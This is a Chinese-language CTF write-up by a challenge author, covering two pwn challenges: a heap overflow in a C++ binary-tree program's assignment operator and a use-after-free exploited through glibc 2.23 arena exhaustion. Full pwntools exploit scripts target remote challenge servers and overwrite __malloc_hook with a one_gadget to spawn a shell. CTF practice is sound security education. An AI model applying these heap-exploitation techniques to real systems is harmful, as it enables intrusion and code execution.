0x01 BTS

出题思路:

该题就是一个用C++写的一个简单的二叉树。因为考虑到时间问题,不想让师傅们在逆向上面花费太多时间,所以就没有去掉符号。该题的漏洞点在Nodeinfo::operator=()这个运算符重载这里。

img

这里开辟的空间省掉了size/8的余数,所以这里造成了溢出。但是这个漏洞不好触发。回到调用这个函数的地方

img

这里判断的是左右子树共同存在的情况下,删除根节点,才会触发这个运算符重载,才能利用这里的堆溢出漏洞。虽然漏洞很简单,但是这一题不好利用,前面传递信息的时候,会创造两个临时对象,堆块里面的信息不好控制,最后去篡改指针的时候会有一丢丢难度。附上exp:

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from PwnContext import *
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'BST'
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('123.57.236.25',8002)
p=rs('remote')
return p

def menu(index):
sla("_______4.updata_______\n",index)
def create(index,size,content):
menu(2)
sla("id:",index)
sla("content size:",size)
sa("input your content\n",content)
def show():
menu(1)
def free(index):
menu(3)
sla("id:",index)
choice()
create(2,0x88,"w"*0x80)
create(1,0x88,"w"*0x80)
create(3,0x7a,"f"*0x78+'\x40\x01')
free(2)
create(4,0xa0,p64(0)*3+p64(0x40)+p64(2)+p64(0x88)+p64(0x66666000))
show()
irt()

0x02 girlfriend_simulator

出题思路

这个题很简单的,很明显的UAF漏洞,但是这些UAF都只存在于子线程,子线程的创建堆块次数有限,所以不能直接利用这个UAF ,但是主线程有多余的次数创建堆块,我们就应该思考如何将当前线程变为主线程。正好glibc2.23有这个特点,当所有线程在使用的时候,子线程的arena有限,当不够用的时候,会直接使用主线程的arena。所以这一题的思路瞬间就清晰了。这一题并不知道arena有多少的限制,本地和远程的不一样,这个东西和机器的核数有关,所以远程需要测试一下和本地不同,需要测一下。(本来看师傅们前面题没做出来,打算给师傅们涨涨信心的)。strdup()底层调用了malloc,所以这个最后能调用__ malloc_hook,我们只需要将__malloc_hook改为one_gadget,就可以getshell了。

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from PwnContext import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))


ctx.binary = 'girlfriend_simulator'
libc=ELF("./libc-2.23.so")
ctx.debug_remote_libc = False
local=0
num=0
def choice():
global num
if(local):
num=32
p=rs()
else:
num=9
ctx.remote = ('node3.buuoj.cn',27834)
p=rs('remote')
return p

def menu(index):
sla(">>",index)
def create(size,content):
menu(1)
sla("size?",size)
sa("content",content)

def free():
menu(2)

def show():
menu(3)

def exit():
menu(5)

choice()
list_info=[]
sla("How much girlfriend you want ?",num)
for i in range(num-1):
create(0x10,"123131")
free()
create(0x10,"11111111")
show()
ru('11111111')
heap_addr=uu64(r(0x6))
list_info.append(hex(heap_addr))
exit()
print list_info

create(0x60,"11111111")
free()
exit()
ru("wife:0x")
libc_base=int(r(12),16)-(0x7ff277618620-0x7ff277253000)
leak("libc_base",libc_base)
malloc_hook=libc_base+libc.symbols['__malloc_hook']
one=[0x45216,0x4526a,0xf02a4,0xf1147]
sla("say something to impress your girlfriend",p64(malloc_hook-0x23))
sla("moved by your words","12312312")
sa("Questionnaire","\x00"*(0x13-0x8)+p64(libc_base+one[1])+p64(libc_base+libc.symbols['realloc']+2))
irt()

太心累了,本次比赛出题,费劲心思出了几个好题没有大师傅来玩。qwq